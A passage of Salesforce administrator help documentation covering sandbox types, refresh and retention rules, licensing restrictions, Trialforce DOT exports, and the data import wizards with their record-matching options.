Sandbox Overview

You can refresh a configuration-only sandbox (including a developer sandbox) once per day. You can order up to a maximum of three full sandboxes. You can order up to a maximum of six configuration-only sandboxes. Enterprise Edition includes one developer sandbox. Unlimited Edition includes one full sandbox with the option to purchase up to three more full sandboxes. Note: Contact salesforce.com to order sandboxes for your organization.

Sandbox Retention Policy


Unactivated Sandboxes New sandboxes that arent activated within 30 days will be deleted. Users who have created or most recently refreshed any sandbox for your organization will get at least two email notifications before we schedule the sandbox for deletion. Locked Sandboxes Sandboxes that have been locked for 60 days will be deleted. Users who have created or most recently refreshed any sandbox for your organization will be notified prior to scheduling the sandbox for deletion. They will get at least three email notifications over 30 days. Sandboxes become locked when all the licenses for that type of sandbox expire. Unused Sandboxes Sandboxes that no one has logged into for 180 days will be deleted. Users who have created or most recently refreshed any sandbox for your organization will be notified prior to scheduling the sandbox for deletion. They will get at least three email notifications over 30 days. To keep a sandbox active and avoid email notifications, log in periodically. Note: Deletion of a sandbox doesnt terminate or change any of your sandbox subscriptions. If you have a sandbox subscription and your sandbox is deleted, your subscription remains in effect and you can create a new sandbox.

See Also:
Creating or Refreshing a Sandbox Sandbox Setup Tips and Considerations Sandbox Restrictions and Licenses Managing Sandboxes

785

Data Management

Sandbox Overview

Creating or Refreshing a Sandbox


Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To view a sandbox: To create, refresh, activate, and delete sandboxes: View Setup and Configuration Modify All Data

To create or refresh a sandbox: 1. Click Your Name > Setup > Data Management > Sandbox. 2. Do one of the following: Click New Sandbox. For information on different kinds of sandboxes, see Sandbox Overview on page 784. Salesforce deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact salesforce.com to order more sandboxes for your organization. Note that Salesforce deactivates all refresh links if you have exceeded your sandbox limit. Click Refresh to replace an existing sandbox with a new copy. Salesforce only displays the Refresh link for sandboxes that are eligible for refreshing. For full-copy sandboxes, this is any time after 29 days from the previous creation or refresh of that sandbox. For configuration-only sandboxes (including developer sandboxes), you can refresh once per day. Your existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed copy is inactive until you activate it.

3. Enter a name and description for the sandbox. You can only change the name when you create or refresh a sandbox. Tip: We recommend that you choose a name that: Reflects the purpose of this sandbox, such as QA. Has few characters because Salesforce automatically appends the sandbox name to usernames and email addresses on user records in the sandbox environment. Names with fewer characters make sandbox logins easier to type.

4. Select the type of sandbox: Configuration Only: Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products, apps, and customizations under Your Name > Setup, but exclude all of your organization's standard and custom object records, documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or refresh a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data. You can refresh a configuration-only sandbox once per day. Developer: Developer sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer. Multiple users can log into a single developer sandbox, but their primary purpose is to provide an environment in which changes under active development can be isolated until theyre ready to be shared. Just like configuration-only sandboxes, developer sandboxes copy all application and configuration information to the sandbox. Developer sandboxes are limited to 10 MB of test or sample data, which is enough for many development and testing tasks. You can refresh a developer sandbox once per day.

786

Data Management

Sandbox Overview

Full: Full sandboxes copy your entire production organization and all its data, including standard and custom object records, documents, and attachments. You can refresh a full-copy sandbox every 29 days.

If you have reduced the number of sandboxes you purchased, but you still have more sandboxes of a specific type than allowed, you will be required to match your sandboxes to the number of sandboxes that you purchased. For example, if you have two full sandboxes but purchased only one, you cannot refresh your full sandbox as a full sandbox. Instead, you must choose one full sandbox to convert to a smaller sandbox, such as configuration-only or developer sandbox, depending on which type of sandbox you have available. Note: Configuration-only and developer sandboxes copy all of your production organization's reports, dashboards, price books, products, apps, and customizations under Your Name > Setup, but exclude all of your organization's standard and custom object records, documents, and attachments. Because they copy much less data, creating these sandbox types can substantially decrease the time it takes to create or refresh a sandbox. If you are refreshing an existing sandbox, the radio button usually preselects the sandbox type corresponding to the sandbox you are refreshing. For example, if you refresh a configuration-only sandbox, the radio button preselects Configuration Only. Whether refreshing an existing sandbox or creating a new one, some radio buttons may be disabled if you have already created the number of sandboxes of that sandbox type allowed for your organization. 5. For a full sandbox, choose how much object history, case history, and opportunity history to copy, and whether or not to copy Chatter data. Object history is the field history tracking of custom and most standard objects; case history and opportunity history serve the same purpose for cases and opportunities. You can copy from 0 to 180 days of history, in 30day increments. The default value is 0 days. Chatter data includes feeds, messages, and discovery topics. Decreasing the amount of data you copy can significantly speed up sandbox copy time. 6. Click Start Copy. The process may take several minutes, hours, or even days, depending on the size of your organization and whether you are creating a full copy or configuration-only copy. Tip: Try to limit changes in your production organization while the sandbox copy proceeds.

7. You will receive a notification email when your newly created or refreshed sandbox has completed copying. If you are creating a new sandbox, the newly created sandbox is now ready for use. If you are refreshing an existing sandbox, an additional step is required to complete the sandbox copy process. The new sandbox must be activated. To delete your existing sandbox and activate the new one: a. Return to the sandbox list by logging into your production organization and navigating to Your Name > Setup > Data Management > Sandbox. b. Click the Activate link next to the sandbox you wish to activate. This will take you to a page warning of removal of your existing sandbox. c. Read the warning carefully and if you agree to the removal, enter the acknowledgment text at the prompt and click the Activate button. When the activation process is complete, you will receive a notification email. Warning: Activating a replacement sandbox that was created using the Refresh link completely deletes the sandbox it is refreshing. All configuration and data in the prior sandbox copy will be lost, including any application or data changes you have made. Please read the warning carefully, and press the Activate link only if you have no

787

Data Management

Sandbox Overview

further need for the contents of the sandbox copy currently in use. Your production organization and its data will not be affected. 8. Once your new sandbox is complete, or your refreshed sandbox is activated, you can click the link in the notification email to access your sandbox. You can log into the sandbox at test.salesforce.com/login.jsp by appending .sandbox_name to your Salesforce username. For example, if your username for your production organization is user1@acme.com, then your username for a sandbox named test is user1@acme.com.test. For more information, see Username and Email Address Modification on page 788. Note: Salesforce automatically changes sandbox usernames but does not change passwords.

Sandbox Setup Tips and Considerations


Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To view a sandbox: To create, refresh, activate, and delete sandboxes: View Setup and Configuration Modify All Data

Consider the following before you create a sandbox. Servers and IDs The organization IDs of your sandboxes differ from your production organization ID, and will change each time your sandbox is refreshed. Salesforce stores sandbox organizations on several instances. When a sandbox is created or refreshed, an instance is selected for your sandbox, so your sandbox may appear on different instances and have different URLs. When data that contains object IDs is copied from your production instance into your sandbox, the object IDs in your sandbox match the object IDs in your production instance. However, data created in your production instance or sandbox will not contain matching object IDs.

Username and Email Address Modification User information is included in a sandbox copy or refresh for all sandbox types. Because all Salesforce usernames must be unique and reference a single organization, all copied usernames are modified to ensure uniqueness during the copy process. Usernames are modified differently for each sandbox copy. Entering a particular modified username will log you into a specific sandbox. For each username, the copy process applies one or two modifications as necessary to generate a unique new username: First, the sandbox name is appended to the username, so that for a sandbox named test, user@acme.com may become user@acme.com.test.

788

Data Management

Sandbox Overview

If the resulting username is not unique, a second modification is performed in which a number of characters and digits are prepended to the modified username. This second modification may result in a username such as 00x7Vquser@acme.com.test. Email addresses are modified in a sandbox so that production users, who may not know of the sandbox, dont receive automatically generated email messages from the sandbox, such as notifications from triggered workflow or escalation rules. By modifying user email addresses, any email messages sent from the sandbox arent delivered to production users. You can manually correct email addresses in the sandbox user records for users who will use the sandbox for testing and training. Warning: Sandboxes automatically change Salesforce user email addresses, but dont change other email addresses in Salesforce, such as those in contact records. To avoid sending unsolicited email from your sandboxes, manually invalidate or delete all email addresses in your sandboxes that dont belong to users. When testing the generation of outbound email, change contact email addresses to those of testers or an automated test script. The copy process doesnt copy Contact data to developer and configuration sandboxes. Therefore, Customer Portal users arent copied. However, the copy process does copy the Customer Portal licenses, so you can create Customer Portal users in these sandboxes as needed.

Creating, Refreshing, and Deleting Sandboxes Sandbox copy is a long-running operation that occurs in the background. You are notified of the completion of a sandbox copy via email. Sandbox refreshes might complete in minutes, days, or even more than a week. A number of conditions factor into the duration of a sandbox copy or refresh, including the number of customizations, data size, numbers of objects and configuration choices (for full copies), and server load. Also, sandbox refreshes are queued, so your requested copy may not start immediately after your request. A sandbox is not a point-in-time snapshot of the exact state of your data. Furthermore, we recommend that you limit changes to your production organization while a sandbox is being created or refreshed. Setup and data changes to your production organization during the sandbox creation and refresh operations may result in inconsistencies in your sandbox. You might detect and correct some inconsistencies in your sandbox after it is copied or refreshed. Some types of sandboxes might not be available to choose from if you already reached your organization's limit of the types of sandboxes you can create or refresh. For example, if your organization is limited to one full sandbox, and a full sandbox is already created, you may not select Full when creating a new sandbox. However, you may refresh your existing full sandbox. When you are finished with a sandbox, you can refresh it to create a new copy. However, if you have reduced your organization's number of sandboxes, a Delete link displays next to existing sandboxes, allowing you to delete a sandbox of your choice. Note that you must delete a sandbox before you can refresh any more sandboxes. If you have active Salesforce-to-Salesforce connections in your sandbox, you must deactivate and then reactivate the connection(s) after the sandbox is refreshed.

Configuring Full Sandboxes When you create or refresh a full sandbox, you can configure it not to copy some data that is generally not useful in a sandbox. Keeping the minimum selections will speed up your sandbox copy. The Object History, Case History, and Opportunity History options allow you to select the number of days of history from your production organization to copy to your sandbox. You can copy from 0 to 180 days of history, in 30day increments. The default value is 0 days. By default, Chatter data wont be copied to your sandbox. Chatter data includes feeds, messages, and discovery topics. Select the Copy Chatter Data checkbox if you need to copy it. The setup audit trail history of your production organization wont be copied to your sandbox. The audit trail for your sandbox organization will start when you begin to use it.

789

Data Management

Sandbox Overview

Archived activities (tasks and events that arent available in the production organization because theyre over a year old) and password history (users previous passwords) wont be copied to your sandbox. Note: Dont increase the default selections unless special circumstances require it. Too much data can cause significant delays in the time it takes to copy your sandbox.

Accessing Sandboxes Access changes for sandbox users: A sandbox refresh deletes and recreates the sandbox as a new copy of the production organization. In effect, this reverses any manual access changes you've performed. If you created sandbox-only users, they will no longer exist, and a users profile and permissions revert to their values in the production organization. This means that after a refresh, any access changes will need to be repeated in the new copy. You can create users in your production organization that are inactive, and then activate them in a sandbox. This is a good way to create a user in a sandbox that has the appropriate permissions to develop in a sandbox. For more information, see Editing Users on page 512. Many development and testing tasks require the Modify All Data permission. Because your developers might not have that permission in the production organization, you may need to increase their permissions in a sandbox. Exercise caution when granting this permission in sandbox organizations that contain sensitive information copied from production (for example, social security numbers). For more information on permissions, see Overview of User Permissions and Access on page 560. You can create new users for sandbox development, but these count against the number of licensed users in your organization. To reduce your license count, you can disable production users who wont need access to the sandbox. For more information, see Deactivating Users on page 514. To grant users access to a sandbox, you must log in as the administrator on the sandbox organization, and then create or upgrade user access in the sandbox. Always log in to your sandbox organization using the https://test.salesforce.com login URL. Remember to log in using the modified username as described in Username and Email Address Modification on page 788. If using the API, after you log in you must use the redirect URL that is returned in the loginResult object for subsequent access. This URL reflects the instance on which the sandbox is located and the appropriate server pool for API access. All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved, except the value for Recipient URL. The Recipient URL is updated to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML in the sandbox copy, click Your Name > Setup > Security Controls > Single Sign-On Settings; then click Edit, and select SAML Enabled. You must change the value of the Recipient URL in the certificate for your client application as well. For more information, see Configuring SAML Settings for Single Sign-On on page 697.

Sandbox Storage Limits Full copy sandboxes have the same storage limit as your production organization. Configuration-only sandboxes have a 500 MB storage limit. Developer sandboxes have a 10 MB storage limit. Sandboxes dont send email notifications when storage limits are reached. However, if you reach the storage limit of your sandbox, you cannot save new data in your sandbox. To check your storage limits, click Your Name > Setup > Data Management > Storage Usage in your sandbox. For more information on storage limits, see Monitoring Resources on page 769.

790

Data Management

Sandbox Overview

Customization and Data Changes Customizations and data changes in your production organization dont automatically appear in your sandboxes. You must create a new sandbox or refresh an existing one to see the customizations made to your organization since the last time you created or refreshed a sandbox. You can only add, edit, or delete Apex using the Salesforce user interface in a Developer Edition or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the compileAndTestAPI() call. For more information, see the Force.com Apex Code Developer's Guide. If your sandbox is the same version as Force.com AppExchange, you can: Install and deploy apps from Force.com AppExchange in your sandbox. Publish apps from your sandbox to Force.com AppExchange. Publishing managed packages from a Force.com Sandbox is not advised, as refreshing or deleting the sandbox will prevent any revisions to that managed package. The version of your sandboxes may differ from Force.com AppExchange around the time of a Salesforce release. Check the logo in the upper left corner of your sandbox home page for version information. If your organization uses quote templates, and you create a configuration-only sandbox, templates that contain Text/Image fields cannot be opened for editing within the sandbox.

Service Exclusions The following features are disabled and cannot be enabled in sandboxes: Case escalation. Opportunity reminders. Contract expiration warnings. Case escalation, opportunity reminders, and contract expiration warnings are disabled because they automatically send email to contacts, customers, and users who should not interact with sandboxes. Subscription summary. Data exports (using Export Now or Schedule Export on Your Name > Setup > Data Management > Data Export). The ability to create Salesforce sandboxes. Testing Salesforce for Google AdWords in your sandbox is not supported. Attempting to test Salesforce for Google AdWords in your sandbox will result in errors because your sandbox organization operates with the same link to your Google AdWords account as your production organization. Email service addresses that you create in your sandbox cannot be copied to your production organization. Other Service Differences Only custom links created as relative URLs, such as /00Oz0000000EVpU&pv0={!Account_ID} will work when copied to your sandboxes. Custom links created as absolute URLs, such as https://na1.salesforce.com/00Oz0000000EVpU&pv0={!Account_ID}, dont work in your organization's sandboxes. We recommend that you use only relative URLs in your production organization. Otherwise, you will need to correct the URLs in each sandbox. Salesforce has a background process that permanently deletes records in the Recycle Bin that are older than 30 days. This process runs at different times on different servers, so its timestamp in your sandbox differs from its timestamp in your production organization. Applications and integrations that depend on this timestamp may fail if they are first connected to one environment, such as your production organization, and then later connected to another environment, such as your sandbox. Keep this in mind when developing applications and integrations that depend on this timestamp.

791

Data Management

Sandbox Overview

Note that the time of the latest execution of the background delete process is available through the getDeleted() API call. For more information, see the SOAP API Developer's Guide.

See Also:
Sandbox Overview Sandbox Restrictions and Licenses

Sandbox Restrictions and Licenses


Available in: Enterprise, Unlimited, and Database.com Editions

Sandbox services are restricted if your organization doesn't comply with salesforce.com's licensing rules. This typically happens when sandbox licenses expire. The sandbox license types are Full, Configuration Only, and Developer. Each license permits the use of one sandbox. The sandbox licenses are hierarchical. Some licenses permit the use of multiple sandbox types. Full Sandbox License Permits the use of a full, configuration-only, or developer sandbox. Configuration Only Sandbox License Permits the use of a configuration-only or developer sandbox. Developer Sandbox License Permits the use of a developer sandbox only. There are a few different types of restrictions you might encounter when your organization doesn't comply with licensing rules. Unable to Refresh a Particular Type of Sandbox CauseYour organization is using more sandboxes of a specific type than its sandbox licenses permit. ExampleYour organization has three full sandboxes, but only two full sandbox licenses. EffectYou can't refresh a sandbox of this type. In the example, you can't refresh full sandboxes. ResolutionDelete sandboxes to comply with the number allowed by your organization's sandbox licenses, or purchase more sandbox licenses. All Sandboxes of a Particular Type are Locked CauseThe license count of a given type, including higher hierarchical types, is zero. ExampleYour organization has three full sandboxes and zero full sandbox licenses. EffectAll sandboxes of a particular type are locked. You don't have access to the sandboxes. ResolutionPurchase the correct sandbox licenses to unlock the sandboxes. If you don't purchase enough licenses, you can't refresh sandboxes of that type.

792

Data Management

Sandbox Overview

All Sandboxes are Locked CauseYour production organization is locked. ExampleYour organization has one full sandbox and one developer-sandbox, but you can't log in to either sandbox. EffectIf your production organization is locked, all sandboxes associated with the organization are locked. ResolutionContact your salesforce.com representative to unlock your organization. When your production organization is unlocked, the sandboxes are unlocked as well.

See Also:
Sandbox Overview Sandbox Setup Tips and Considerations

Managing Sandboxes
Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To view a sandbox: To create, refresh, activate, and delete sandboxes: View Setup and Configuration Modify All Data

To manage your sandboxes, click Your Name > Setup > Data Management > Sandbox. A list of your existing sandboxes displays. Click New Sandbox. For information on different kinds of sandboxes, see Sandbox Overview on page 784. Salesforce deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact salesforce.com to order more sandboxes for your organization. Note that Salesforce deactivates all refresh links if you have exceeded your sandbox limit. Click Show Sandbox Refreshes to see a log of your sandbox refresh history, including when sandboxes were created and who created them. Click Refresh to replace an existing sandbox with a new copy. Salesforce only displays the Refresh link for sandboxes that are eligible for refreshing. For full-copy sandboxes, this is any time after 29 days from the previous creation or refresh of that sandbox. For configuration-only sandboxes (including developer sandboxes), you can refresh once per day. Your existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed copy is inactive until you activate it. Click Activate to activate a refreshed sandbox. You must activate your refreshed sandbox before you can access it. Salesforce only displays this option for sandboxes that are not activated. Warning: Activating a refreshed sandbox replaces the existing sandbox with the refreshed version. This permanently deletes the existing version and all data in it. Your production organization and its data will not be affected.

793

Data Management

Using Trialforce to Export Organization Data to a DOT file

Click Del to delete a sandbox. If you delete a sandbox, you must wait 29 days before replacing it with a new full-copy sandbox, or one day before you can replace it with another configuration-only sandbox. Warning: Deleting a sandbox permanently erases the sandbox and all data in it. Your production organization and its data will not be affected.

Click Login to log in to a sandbox. Salesforce only displays this option for active sandboxes. Note that the Login button is for administrators and may not always be available; however, you can log into an active sandbox at https://test.salesforce.com by entering your modified username and password. To change your username or password, see Changing Your Password on page 43.

Click on a sandbox name to view details about the sandbox, including the sandbox type and when it was created.

See Also:
Sandbox Overview

Using Trialforce to Export Organization Data to a DOT file


Available in: All Editions except for Database.com.

User Permissions Needed To configure and export a Trialforce DOT: To view the list of exported DOTs: Modify All Data View Setup and Configuration

Trialforce helps you create customized trials by configuring which data and metadata you want to include in your DOT. Trialforce signs up organizations on the correct instance based on geography and automatically upgrades the Trialforce DOTs at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance. To configure and export your DOT: 1. Go to Your Name > Setup > Data Management > Export to DOT File. 2. Select the information to include in your DOT:
Allinclude all data and metadata All Except Documents and Attachmentsinclude everything except items in the Documents tab and on the

Attachments related list on any object Setup Onlyinclude just the metadata, which contains configuration information such as objects and fields, but not records

3. Optionally, select the Include debugging info checkbox if you want to track what happens as the DOT is created. This is especially useful if the DOT creation process fails, as you'll have a log of what happened. 4. Optionally, select the Don't rebase dates checkbox if you want the values in date records to remain the same every time an organization is signed up from your DOT. 5. Select how you want the DOT export to output. You can choose the following options:

794

Data Management

Using Trialforce to Export Organization Data to a DOT file

Documents TabSaves the DOT export as a file under the Documents tab. Appserver's Local FilesystemSaves the DOT export to the local Unix filesystem of the appserver that did

the export.
Trialforce UploadDepending on the size of your Trialforce DOT, you either see a message with your Trialforce

DOT ID or see a screen saying that you will receive an email when it has been created. If your Trialforce DOT creation doesn't complete within a minute or so, you will receive an email when it has finished. Once you receive the "ready for use" confirmation email, your Trialforce DOT is ready. Send the Trialforce DOT ID to your salesforce.com representative to get your trial set up. If your Trialforce DOT creation fails, you will receive an email notification. For more information about Trialforce, contact your salesforce.com representative.

See Also:
Viewing Your Exported TrialForce DOTs

Viewing Your Exported TrialForce DOTs


Available in: All Editions except for Database.com.

User Permissions Needed To configure and export a Trialforce DOT: To view the list of exported DOTs: Modify All Data View Setup and Configuration

Trialforce helps you create customized trials by configuring which data and metadata you want to include in your DOT. Trialforce signs up organizations on the correct instance based on geography and automatically upgrades the Trialforce DOTs at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance. To view a list of your exported TrialForce DOTs, go to Your Name > Setup > Data Management > TrialForce DOT Exports. On this page you can see a list of all the TrialForce DOTs you've exported using TrialForce Upload. Click a column heading to sort the list in ascending order. Click the heading a second time to sort in descending order. For more information about Trialforce, contact your salesforce.com representative.

795

Data Management

Importing Overview

Importing Overview
Available in: All Editions except Database.com Organization import not available in: Personal Edition Custom object import not available in: Personal Edition Lead import not available in: Personal and Contact Manager Editions Solution import not available in: Personal, Contact Manager, and Group Editions Person account import not available in: Personal, Contact Manager, Group, and Professional Editions

You can import data from ACT!, Outlook, and any program that can save data in the CSV (comma-separated values) format, such as Excel or GoldMine. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

The following table summarizes the kinds of records that can be imported. Which records can be imported? Type of record Import record limit Users with access All users Overview topic What Is Imported for Business Accounts and Contacts? What Is Imported for Business Accounts and Contacts? What Is Imported for Person Accounts? What Is Imported for Person Accounts?

Business accounts and contacts 500 at a time owned by you Business accounts and contacts 50,000 at a time owned by different users

Administrators; Users with the Modify All Data permission All users Administrators; Users with the Import Person Accounts permission

Person accounts owned by you 50,000 at a time Person accounts owned by different users 50,000 at a time

Leads

50,000 at a time

Administrators; Users with Read, Create, and Edit on leads and the Import Leads permission

What is Imported for Leads?

Campaign members

50,000 for importing leads as Administrators; What is Imported for new campaign members and Campaign Members? Marketing users (or users with updating the status of existing the Import Leads permission campaign members.

796

Data Management

Importing Overview

Which records can be imported? Type of record Import record limit Users with access and the Edit permission on campaigns) can import new leads as campaign members. Users also need the Read permission on contacts to use the campaign update wizard to make existing leads and contacts campaign members. Custom objects 50,000 at a time Administrators; Users with the Modify All Data permission Solutions 50,000 at a time Administrators; Users with the Import Solutions permission Assets Cases Campaigns Contracts Documents Opportunities Products These records cannot be imported via the import wizards. What Is Imported for Custom Objects? Overview topic

What Is Imported for Solutions?

For information on field accessibility and how different field type values are imported, see Notes on Importing Data on page 807.

Process for Importing Records


To import records into Salesforce, follow the steps in these topics: 1. Creating Export Files for Import Wizards 2. Preparing Your Data for Import 3. Accessing the Import Wizards

797

Data Management

Importing Overview

Note: In addition to the record limits on each import, your import is also subject to the overall storage limits for your organization. For storage limits, see Monitoring Resources on page 769. Although they are custom objects, relationship group members cannot be imported. For more information on the behaviors of relationship group members, see Relationship Group Considerations on page 2815.

See Also:
Importing Multiple Currencies Undoing an Import Importing Campaign Members Importing Articles FAQ: Importing Tip sheet: Importing Your Data Administrator tip sheet: Importing Your Organization's Data

Which Data Import/Export Tool Should I Use?


Salesforce offers the following tools and APIs to import and export data. Use the table below to determine which tool you should use, based on how many records you need to import or export, whether you need to import or export, and whether the tool is internal or external to Salesforce. Tool Editions supported Number of Import records you can import or export Yes Export Internal or external to Salesforce Internal Additional information

Import Wizard Contact Up to 50,000 for Accounts Manager, and Contacts Group, Professional, Enterprise, Unlimited, and Developer Editions Import Wizard Group, Up to 50,000 for Leads Professional, Enterprise, Unlimited, and Developer Editions Solution Import Professional, Up to 50,000 Wizard Enterprise, Unlimited, and Developer Editions

No

An in-browser wizard that imports your personal and organizations accounts and contacts. Read more.

Yes

No

Internal

An in-browser wizard that imports your organizations leads. Read more.

Yes

No

Internal

An in-browser wizard that imports your organizations solutions. Read more.

798

Data Management

Importing Overview

Tool

Editions supported

Number of Import records you can import or export Yes

Export

Internal or external to Salesforce Internal

Additional information

Custom Object Contact Up to 50,000 Import Wizard Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Data Export Weekly export No limit available in Enterprise and Unlimited Editions. Monthly export available in all editions, except Database.com Enterprise, Between 5,000 Unlimited, and 5 million Developer, and Database.com Editions

No

An in-browser wizard that imports your organizations custom objects. Read more.

No

Yes

Internal

An in-browser wizard that exports data in .zip files that are up to 128 MB each on a monthly or weekly basis. Read more.

Data Loader

Yes

Yes

External

Data Loader is a client application for the bulk import or export of data. Use it to insert, update, delete, or export Salesforce records. Read more. See the AppExchange for available tools. Free data migration tool offered by a salesforce.com, inc. partner. Read more.

Third-party tools Jitterbit Data LoaderTM for Salesforce (third-party tool) Workbench

Varies All editions

Over 5 million Over 5 million

Varies Yes

Varies Yes

External External

Enterprise, Unlimited, Developer, and Database.com Editions

One record at a Yes time or a batch containing up to 10,000 records

Yes

External

Workbench is a free, open source, community-supported tool (see the Help page in Workbench). Salesforce.com provides a hosted instance of Workbench for demonstration purposes onlysalesforce.com recommends that you do not use this hosted instance of Workbench to access data in a production database. If you want to use Workbench for your production database, you can download, host, and

799

Data Management

Importing Overview

Tool

Editions supported

Number of Import records you can import or export

Export

Internal or external to Salesforce

Additional information

configure it using your own resources. Read more.

Salesforce.com provides APIs that enable data integration with Salesforce. Use the table below to determine which API to use, based on how many records you need to import or export and the integration technologies required in your scenario. For more information, see Which API Should I Use?. API Editions supported Developer, Enterprise, Unlimited, and Database.com Editions Developer, Enterprise, Unlimited, and Database.com Editions Developer, Enterprise, Unlimited, and Database.com Editions Number of records you can import or export Integration scenarios where you have less than 200 records Import Export Additional information

REST API

Yes

Yes

Use to access objects in your organization using REST. Read more.

SOAP API

Integration scenarios where you have less than 200 records

Yes

Yes

Use to integrate your organizations data with other applications using SOAP. Read more.

Bulk API

Over a million

Yes

Yes

Use to load or delete large numbers of records. Read more.

See Also:
Importing Overview Data Loader Overview Force.com API Usage Limits Which API Should I Use?

800

Data Management

Importing Overview

What Is Imported for Business Accounts and Contacts?


Available in: All Editions except Database.com Organization import not available in: Personal Edition, Database.com

The import wizards for contacts and business accounts allow you to match records in a variety of ways in order to prevent duplicates. Contacts can be matched by Salesforce ID, name, or email. Business accounts can be matched by Salesforce ID or by name and site. Matching by Salesforce ID is inclusive of both contacts and business accounts; if you match one by Salesforce ID, the other will also be matched by Salesforce ID. Matching by Name and Site If you choose to match contacts by name and business accounts by name and site (which are the recommended options), the import wizards automatically create a business account for each unique business account name and site in the import file. They also create a separate contact for each contact name listed in the file. The contacts are then associated with the appropriate business accounts. If the business account or contact already exists in the system, and you have read/write access to the record, the wizards add your import data to the existing data in Salesforce. In addition, if a business account or contact name in your import file is similar to an existing business account or contact name, the import data is added to the existing data in Salesforce (see Can the contact and business account import wizards recognize similar names? on page 3839). Matching by Salesforce ID You can also choose to match contacts and business accounts by Salesforce ID. With this selected, the Salesforce ID will be the criteria for de-duplication. That is, if you are matching by ID and a record in your source file has the same ID as a record in Salesforce, then that record will be updated in Salesforce. Note that record IDs are case-sensitive and must match exactly. Overwriting Existing Account Values The wizards never overwrite your existing business account fields unless you check the Overwrite existing account values checkbox in the wizard. With this box checked, you can insert or update existing business account fields with new data. However, you cannot use this checkbox to update existing field data with blank values. With this box unchecked, the wizard updates any empty business account fields, but does not touch any fields with existing data. If you do not have read/write access to an existing business account or contact, the wizards create a new business account or contact owned by you. In addition, the wizards create new business accounts and contacts based on specific fields in your import file. See When do the import wizards create new contacts and business accounts? on page 3837. In Professional, Enterprise, Unlimited, and Developer Edition organizations, the import wizards can also import new business account and contact notes. The wizards do not import notes that are exact duplicates of existing contact or business account notes.

See Also:
Accounts Overview Import My Organizations Accounts and Contacts FAQ: Importing

801

Data Management

Importing Overview

What Is Imported for Person Accounts?


Person account import available in: Enterprise, Unlimited, and Developer Editions

The import wizards for person accounts allow you to prevent the creation of duplicate records by matching records according to one of the following fields: Account Name, Salesforce ID, or Email. In your import file, include a column for the field that you are using for record matching. Note: Your administrator may have renamed person account to another term. If so, the import wizard will refer to the new name.

Matching by Name When you select this option, the import wizard will detect existing records in Salesforce that have the same name. Note that this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the same name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing the import to prevent unintended matches. Matching by Salesforce ID A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running reports that include the ID field of the record. Matching by Email With this option, person accounts in your import file will be matched with existing person accounts in Salesforce according to the exact value in the Email field. Matching by External ID An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc. However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field Attributes on page 1099. If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches. When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported to you in the confirmation email. Note: Only account custom fields with the External ID attribute are available for this step. While all custom contact fields are available on person account page layouts, custom contact fields with the External ID attribute are not available as matching fields during person account import.

802

Data Management

Importing Overview

Ignoring or Updating Matching Records When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can choose one of the following actions: Do not update existing records and only insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing record, and do nothing to the existing record. Update existing records and do not insert any new records - If there are records in your file that match an existing record, then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert them as new records. Update existing records and insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then update the existing record.

See Also:
Import My Person Accounts Import My Organization's Person Accounts FAQ: Importing

What is Imported for Leads?


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

You can import data into the standard lead fields and into any custom lead fields you may have, even if a particular field is hidden or read only in your page layout or field-level security settings for leads. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Importing Leads With Matching Types You can choose whether to match leads in your import file with existing leads in Salesforce. Leads can be matched according to the following types: Salesforce ID, name, or email. Choosing a matching type sets the criteria for avoiding duplicate leads. For example, if you are matching by email and a lead in your source file has the same email as a lead in Salesforce, then that lead will be updated in Salesforce. If you are not matching by email and a lead in your source file has the same email as a lead in Salesforce, then a new lead will be created. The wizards never overwrite your existing lead fields unless you check the Overwrite existing lead values checkbox in the wizard. With this box checked, you can insert or update existing lead fields with new data. However, you cannot use this checkbox to update existing field data with blank values. With this box unchecked, the wizard updates any empty lead fields, but does not touch any fields with existing data.

803

Data Management

Importing Overview

Importing Leads Without Matching Types If you choose a matching type of None in the lead import wizard, for each lead in your import file, the Import My Organizations Leads wizard creates a new lead in Salesforce. You can merge leads after they are imported; see Merging Duplicate Leads on page 3042.

See Also:
Import My Organizations Leads FAQ: Importing Can I mass-convert leads?

What is Imported for Campaign Members?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

